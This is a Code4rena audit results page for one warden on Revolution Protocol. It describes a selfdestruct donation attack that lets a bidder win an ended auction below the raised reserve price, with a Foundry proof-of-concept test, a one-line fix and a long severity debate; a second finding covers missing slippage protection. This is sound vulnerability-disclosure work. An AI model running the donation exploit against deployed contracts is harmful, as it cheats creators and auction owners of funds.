Revolution Protocol - jnforja's results

A protocol to empower communities to raise funds, fairly distribute governance, and maximize their impact in the world.

General Information

Platform: Code4rena

Start Date: 13/12/2023

Pot Size: $36,500 USDC

Total HM: 18

Participants: 110

Period: 8 days

Judge: 0xTheC0der

Id: 311

League: ETH

Collective

Findings Distribution

Researcher Performance

Rank: 74/110

Findings: 2

Award: $28.64

🌟 Selected for report: 1

🚀 Solo Findings: 0

External Links

Code4rena Contest Page Github Contest Repository Github Findings Repository Collective

Findings Information

🌟 Selected for report: jnforja

Also found by: 0x175, 0xCiphky, 0xDING99YA, 0xmystery, ArmedGoose, Aymen0909, Franklin, KupiaSec, McToady, MrPotatoMagic, Ocean_Sky, PNS, Pechenite, TermoHash, Topmark, _eperezok, alexbabits, deth, hals, imare, jeff, ktg, leegh, mahdirostami, marqymarq10, mojito_auditor, neocrao, ptsanev, twcctop, zraxx

Awards

3.4763 USDC - $3.48

Labels

bug

2 (Med Risk)

downgraded by judge

primary issue

satisfactory

selected for report

sponsor confirmed

sufficient quality report

edited-by-warden

M-01

External Links

Link to GitHub issue

Lines of code

https://github.com/code-423n4/2023-12-revolutionprotocol/blob/main/packages/revolution/src/AuctionHouse.sol#L348 https://github.com/code-423n4/2023-12-revolutionprotocol/blob/main/packages/revolution/src/AuctionHouse.sol#L365-L368

Vulnerability details

Impact

Token will be auctioned off without following the intended rules resulting in an unfair auction.
Loss of funds for Creators and AuctionHouse owner.

Proof of Concept

For this attack to be possible it's necessary that the following happens in the shown order:

Attacker created a bid.
AuctionHouse::reservePrice is increased to a value superior to the already placed bid.
No new bid is created after AuctionHouse::reservePrice is called and the auction ends.
Attacker donates through selfdestruct to AuctionHouse the minimum necessary to have address(AuctionHouse).balance be greater or equal to AuctionHouse::reservePrice.
Auction is settled.
Attacker will get the token and creators and AuctionHouse owner will be paid less than expected since their pay will be computed based on _auction.amount which is lower than the set reservePrice.

To execute the following code copy paste it into AuctionSettling.t.sol

 function testCircumventsMostCreateBidRestrictionsThroughDonationAndReducesTokenPayments() public {
        createDefaultArtPiece();
        auction.unpause();

        uint256 balanceBefore = address(dao).balance;

        uint256 bidAmount = auction.reservePrice();
        uint256 reservePriceIncrease = 0.1 ether;
        address bidder = address(11);
        vm.deal(bidder, bidAmount + reservePriceIncrease);
        vm.startPrank(bidder);
        auction.createBid{ value: bidAmount }(0, bidder); // Assuming first auction's verbId is 0
        vm.stopPrank();

        vm.startPrank(auction.owner());
        // After setting new ReservePrice current bid won't be enough to win the auction
        auction.setReservePrice(auction.reservePrice() + reservePriceIncrease);
        assertGt(auction.reservePrice(), bidAmount);
        vm.stopPrank();

        vm.warp(block.timestamp + auction.duration()); // Fast forward time to end the auction

        vm.startPrank(bidder);
        ContractDonatesEthThroughSelfdestruct donor = new ContractDonatesEthThroughSelfdestruct{value: reservePriceIncrease}();
        donor.donate(payable(address(auction)));
        auction.settleCurrentAndCreateNewAuction();

        //Through donation bidder was able to get the token even though the auction had already ended.
        assertEq(erc721Token.ownerOf(0), bidder);

        //Since payments are calculated using _auction.amount all the involved parties will get
        //less than they would if reservePrice had been respected.
        //Code below shows payments were calculated based on bidAmount which is less than the reservePrice.
        uint256 balanceAfter = address(dao).balance;

        uint256 creatorRate = auction.creatorRateBps();
        uint256 entropyRate = auction.entropyRateBps();

        //calculate fee
        uint256 amountToOwner = (bidAmount * (10_000 - (creatorRate * entropyRate) / 10_000)) / 10_000;

        //amount spent on governance
        uint256 etherToSpendOnGovernanceTotal = (bidAmount * creatorRate) /
            10_000 -
            (bidAmount * (entropyRate * creatorRate)) /
            10_000 /
            10_000;
        uint256 feeAmount = erc20TokenEmitter.computeTotalReward(etherToSpendOnGovernanceTotal);

        assertEq(
            balanceAfter - balanceBefore,
            amountToOwner - feeAmount
        );
    }

contract ContractDonatesEthThroughSelfdestruct {
    constructor() payable {}

    function donate(address payable target) public {
        selfdestruct(target);
    }
}

Tools Used

Manual Review.

Recommended Mitigation Steps

Execute the following diff at AuctionHouse::_settleAuction :

- if (address(this).balance < reservePrice) {
+ if (_auction.amount < reservePrice) {

Assessed type

Other

#0 - c4-pre-sort
2023-12-22T23:09:51Z

raymondfam marked the issue as insufficient quality report

#1 - c4-pre-sort
2023-12-22T23:12:10Z

raymondfam marked the issue as duplicate of #72

#2 - c4-pre-sort
2023-12-22T23:15:49Z

raymondfam marked the issue as not a duplicate

#3 - c4-pre-sort
2023-12-22T23:15:54Z

raymondfam marked the issue as primary issue

#4 - c4-pre-sort
2023-12-22T23:16:01Z

raymondfam marked the issue as sufficient quality report

#5 - c4-sponsor
2024-01-04T23:54:40Z

rocketman-21 (sponsor) confirmed

#6 - c4-judge
2024-01-05T21:58:06Z

MarioPoneder marked the issue as satisfactory

#7 - MarioPoneder
2024-01-05T22:06:31Z

This rather fits the definition of High severity due to potential losses and assets being at direct risk.

#8 - c4-judge
2024-01-05T22:06:43Z

MarioPoneder changed the severity to 3 (High Risk)

#9 - MarioPoneder
2024-01-05T22:07:10Z

Selecting for report due to PoC.

#10 - c4-judge
2024-01-05T22:07:23Z

MarioPoneder marked the issue as selected for report

#11 - DevHals
2024-01-09T17:56:10Z

Hi @MarioPoneder,

this issue is validated based on a check that the AuctionHouse contract balance can be manipulated by extrernal donations to bypass this condition and mint the auctioned verbs NFT:

```solidity
if (address(this).balance < reservePrice) {
```

and this condition will only be true if the contract owner changed (increased) the reservePrice during an active auction; so this is a result of an admin fault,

referring to issue #495: this issue (and its duplicates) pointed to the adverse effects of changing AuctionHouse parameters during an active auction, and these issues were invalidated as this is intended by design, quoting your reply on the issue:

Behaviour by desing and changes are queued by DAO, i.e. not effective immediately. Therefore, QA seems appropriate.

But even if the changes are going to pass the timelock first in order to take place; there's no guarantee that this would be done while there's no auctions, as starting auctions is manual and can be invoked by anyone and there's no check if there's any active auction before changing contract's parameters.

Also invalidating the root cause of this issue (which is pointed out by 495 and its duplicates) while validating its effect (this issue itself) is inconsistent,, since this issue is a result of increasing the reservePrice during an active auction.

I kindly ask you to reconsider issue 495 and its duplicates, or the validity of this issue.

Thanks!

#12 - MarioPoneder
2024-01-09T20:53:57Z

Thank you for pointing out this inconsistency.
After another review, it seems that there is no meaningful attack path without raising the reservePrice inbetween. @rocketman-21 Requesting your input.

#13 - rocketman-21
2024-01-09T22:04:40Z

I agree this would be more admin / dao fault.

ideally the dao would wait to update the reserve price to line up with the start of a new auction, to ensure some bids will come in. your call ultimately @MarioPoneder I implemented the fix in any case

#14 - MarioPoneder
2024-01-09T22:30:17Z

Thanks for the input!

ideally the dao would wait to update the reserve price to line up with the start of a new auction

It's reasonable to assume that this is not always the case, therefore this group of issues remains valid. Going to re-check #495 and duplicate accordingly.

The root cause is the change of parameters mid-auction, while the usage of selfdestruct is "just" a very impactful attack path.

#15 - osmanozdemir1
2024-01-09T23:30:07Z

Hi @MarioPoneder

It's reasonable to assume that this is not always the case, therefore this group of issues remains valid.

I agree this issue being valid based on this comment, but I think it is a medium severity due to being dependant to external factors like the Dao changing the reserve price mid-auction.

#16 - mcgrathcoutinho
2024-01-10T12:22:45Z

Hi @MarioPoneder, I believe this issue remains of valid high severity.

This is not admin fault or DAO not providing a heads up announcement. There is higher likelihood that reservePrice will need to be updated during an auction since auctions will be running 24/7 based on 24 hour auction times plus 15 min timeBuffers. This is the reason why this code block here was introduced in the first place i.e. to handle this case.
Even if the DAO provides a heads up, an attacker can still forcefully gain the NFT while it was on the path to burn.

#17 - MarioPoneder
2024-01-10T17:29:10Z

I understand both sides, all valid points. However, the severity is determined by the impact (highest of all duplicates) which can be categorized as theft/loss. Furthermore a change of reservePrice which facilitates this attack path is rather solid than a hand-wavy hypothetical (to use the language of the C4 docs), therefore leaning towards High severity.

#18 - bart1e
2024-01-10T17:58:49Z

If I'm missing something, please point it out, but there are several points that I would like to raise:

The attack relies on the assumption that reservePrice is going to change (which, of course may happen), but changing reservePrice during auction is itself unfair for people that are already participating in auction, in the first place, and such a change should be made when the contract is paused, so we are already assuming an owner's mistake.
Attacker gains nothing for the attack as he has to pay the new reservePrice anyway. Even more - he has to do additional work of creating a contract and selfdestructing it and the entire operation will cost him considerably more gas than when he simply created a higher bid.
Attacker has to rely on an already unlikely scenario that no one is going to create a bid higher than him - he has no influence on that, which will make him even more reluctant to perform the attack.
If the reservePrice was ever going to be increased, it is only logical to do so when users are regularly paying more than the current reservePrice. Otherwise, it wouldn't make any sense. And if we assume that it is the case (users are paying more than current reservePrice), then it's unlikely that nobody will create a higher bid than the attacker, which makes the attack even more unlikely.
When the protocol was doing fine with some reserve price for X days, all this attack does is to make it go with this reserve price one day longer. It's not a big difference between X and X+1.
The attack doesn't even hurt the protocol since if hasn't been made, then the protocol would earn 0 and instead it would get money for the NFT being auctioned (if that price was fine for X days, then it's really not a tragedy for it to last 1 day longer). In fact, the attack benefits the protocol as it earns money that wouldn't have been acquired in a different scenario.

So:

there are several preconditions for this attack, making it unlikely and attacker has to depend on several different entities
attacker has to pay more for this attack than if he simply created higher bid, so the attack is not viable for him
the attack in fact benefits the protocol, as it receives some money instead of receiving nothing. So "adversary" does not even have a motive for performing this attack as the only person that loses in this scenario is him.

So, unless I'm missing something, this "attack" seems like not a threat, but in fact an opportunity for the protocol.

#19 - MarioPoneder
2024-01-10T19:38:19Z

Thanks for all the input so far! Tagging @rocketman-21 since all the additional arguments here provide value for the sponsor.

#20 - rocketman-21
2024-01-10T19:56:39Z

agreed w/ @bart1e don't really see how this is a big problem / what the attacker stands to gain tbh, especially since the AuctionHouse will just get the funds anyways, and could retroactively pay the difference to the creator(s). def could be MED imho

#21 - mcgrathcoutinho
2024-01-10T20:07:21Z

Hi @MarioPoneder, I disagree with both @rocketman-21 and @bart1e, here's why:

Bidder wins the NFT (that was on the path to burn) without creating a new bid after reservePrice update.
The auction.amount uses value less than the new updated reservePrice, which breaks the min reservePrice required invariant.
Since auction.amount is based on bidder's last bid (prior to reservePrice update), amount sent to creators, treasury and the other entities in ERC20TokenEmitter is way lesser than the expected amount. This means reduced rewards overall.
The extra ETH sent by the self-destruct operation remains locked in the AuctionHouse.sol contract and can never be retrieved by the team.
Although the bidder loses that locked amount of ETH, he not only won the auction while reducing rewards for the team but also can make more of the NFT that was bound to burn.
AuctionHouse gets the reduced funds but this should not be seen as an opportunity but rather incorrect functioning of the codebase, which could further be seen as unfair by the community if the attacker receives the NFT.

#22 - MarioPoneder
2024-01-11T18:03:05Z

Thanks again for all the input!

After having another review the of report, some duplicates and the comments, it seems that I have overestimated the impacts and likelihood.
Nevertheless, it's out of question that there is an underlying bug which impacts the intended functionality of the protocol, therefore Medium severity (as originally chosen by the Warden) is fair.

#23 - c4-judge
2024-01-11T18:03:14Z

MarioPoneder changed the severity to 2 (Med Risk)

Findings Information

🌟 Selected for report: deepplus

Also found by: 0xDING99YA, 0xmystery, Aymen0909, DanielArmstrong, Inference, KupiaSec, SadeeqXmosh, SpicyMeatball, Tricko, adeolu, jnforja, passteque, rvierdiiev, wangxx2026, zhaojie

Awards

25.1638 USDC - $25.16

Labels

bug

2 (Med Risk)

satisfactory

sufficient quality report

duplicate-397

External Links

Link to GitHub issue

Lines of code

https://github.com/code-423n4/2023-12-revolutionprotocol/blob/main/packages/revolution/src/ERC20TokenEmitter.sol#L152-L156

Vulnerability details

Impact

Users can lose funds.

Proof of Concept

To calculate the price of tokens ``ERC20TokenEmitter` uses a VRGDA. Thus, if a user purchases enough tokens to make the token's emissions ahead of schedule, the token's price will increase exponentially.

Given N users wanting to buy tokens the following situation can happen resulting in all users losing funds except for one:

N users call ERC20TokenEmitter::getTokenQuoteForPayment to know how many tokens they'd get for a given amount of ether.
User 1 is faster than the other users and buys enough tokens to make the token's price increase significantly.
Remaining users' transactions are processed after user 1 transaction and they receive significantly fewer tokens than expected thus losing funds unexpectedly.

Tools Used

Manual review

Recommended Mitigation Steps

Make users provide the minimum amount of tokens willing to receive to ERC20TokenEmitter::buyToken function.

Assessed type

Error

#0 - c4-pre-sort
2023-12-22T20:00:33Z

raymondfam marked the issue as sufficient quality report

#1 - c4-pre-sort
2023-12-22T20:00:41Z

raymondfam marked the issue as duplicate of #26

#2 - c4-pre-sort
2023-12-24T06:00:54Z

raymondfam marked the issue as duplicate of #397

#3 - c4-judge
2024-01-06T16:31:12Z

MarioPoneder marked the issue as satisfactory

Revolution Protocol - jnforja's results

A protocol to empower communities to raise funds, fairly distribute governance, and maximize their impact in the world.

General Information

Findings Distribution

Researcher Performance

External Links

🌟 [M-01] Bidder can use donations to get VerbsToken from auction that already ended - $3.48

Findings Information

Awards

Labels

External Links

Lines of code

Vulnerability details

Impact

Proof of Concept

Tools Used

Recommended Mitigation Steps

Assessed type

#0 - c4-pre-sort2023-12-22T23:09:51Z

#1 - c4-pre-sort2023-12-22T23:12:10Z

#2 - c4-pre-sort2023-12-22T23:15:49Z

#3 - c4-pre-sort2023-12-22T23:15:54Z

#4 - c4-pre-sort2023-12-22T23:16:01Z

#5 - c4-sponsor2024-01-04T23:54:40Z

#6 - c4-judge2024-01-05T21:58:06Z

#7 - MarioPoneder2024-01-05T22:06:31Z

#8 - c4-judge2024-01-05T22:06:43Z

#9 - MarioPoneder2024-01-05T22:07:10Z

#10 - c4-judge2024-01-05T22:07:23Z

#11 - DevHals2024-01-09T17:56:10Z

#12 - MarioPoneder2024-01-09T20:53:57Z

#13 - rocketman-212024-01-09T22:04:40Z

#14 - MarioPoneder2024-01-09T22:30:17Z

#15 - osmanozdemir12024-01-09T23:30:07Z

#16 - mcgrathcoutinho2024-01-10T12:22:45Z

#17 - MarioPoneder2024-01-10T17:29:10Z

#18 - bart1e2024-01-10T17:58:49Z

#19 - MarioPoneder2024-01-10T19:38:19Z

#20 - rocketman-212024-01-10T19:56:39Z

#21 - mcgrathcoutinho2024-01-10T20:07:21Z

#22 - MarioPoneder2024-01-11T18:03:05Z

#23 - c4-judge2024-01-11T18:03:14Z

[M-05] No slippage protection for ERC20TokenEmitter::buyToken - $25.16

Findings Information

Awards

Labels

External Links

Lines of code

Vulnerability details

Impact

Proof of Concept

Tools Used

Recommended Mitigation Steps

Assessed type

#0 - c4-pre-sort2023-12-22T20:00:33Z

#1 - c4-pre-sort2023-12-22T20:00:41Z

#2 - c4-pre-sort2023-12-24T06:00:54Z

#3 - c4-judge2024-01-06T16:31:12Z

#0 - c4-pre-sort
2023-12-22T23:09:51Z

#1 - c4-pre-sort
2023-12-22T23:12:10Z

#2 - c4-pre-sort
2023-12-22T23:15:49Z

#3 - c4-pre-sort
2023-12-22T23:15:54Z

#4 - c4-pre-sort
2023-12-22T23:16:01Z

#5 - c4-sponsor
2024-01-04T23:54:40Z

#6 - c4-judge
2024-01-05T21:58:06Z

#7 - MarioPoneder
2024-01-05T22:06:31Z

#8 - c4-judge
2024-01-05T22:06:43Z

#9 - MarioPoneder
2024-01-05T22:07:10Z

#10 - c4-judge
2024-01-05T22:07:23Z

#11 - DevHals
2024-01-09T17:56:10Z

#12 - MarioPoneder
2024-01-09T20:53:57Z

#13 - rocketman-21
2024-01-09T22:04:40Z

#14 - MarioPoneder
2024-01-09T22:30:17Z

#15 - osmanozdemir1
2024-01-09T23:30:07Z

#16 - mcgrathcoutinho
2024-01-10T12:22:45Z

#17 - MarioPoneder
2024-01-10T17:29:10Z

#18 - bart1e
2024-01-10T17:58:49Z

#19 - MarioPoneder
2024-01-10T19:38:19Z

#20 - rocketman-21
2024-01-10T19:56:39Z

#21 - mcgrathcoutinho
2024-01-10T20:07:21Z

#22 - MarioPoneder
2024-01-11T18:03:05Z

#23 - c4-judge
2024-01-11T18:03:14Z

#0 - c4-pre-sort
2023-12-22T20:00:33Z

#1 - c4-pre-sort
2023-12-22T20:00:41Z

#2 - c4-pre-sort
2023-12-24T06:00:54Z

#3 - c4-judge
2024-01-06T16:31:12Z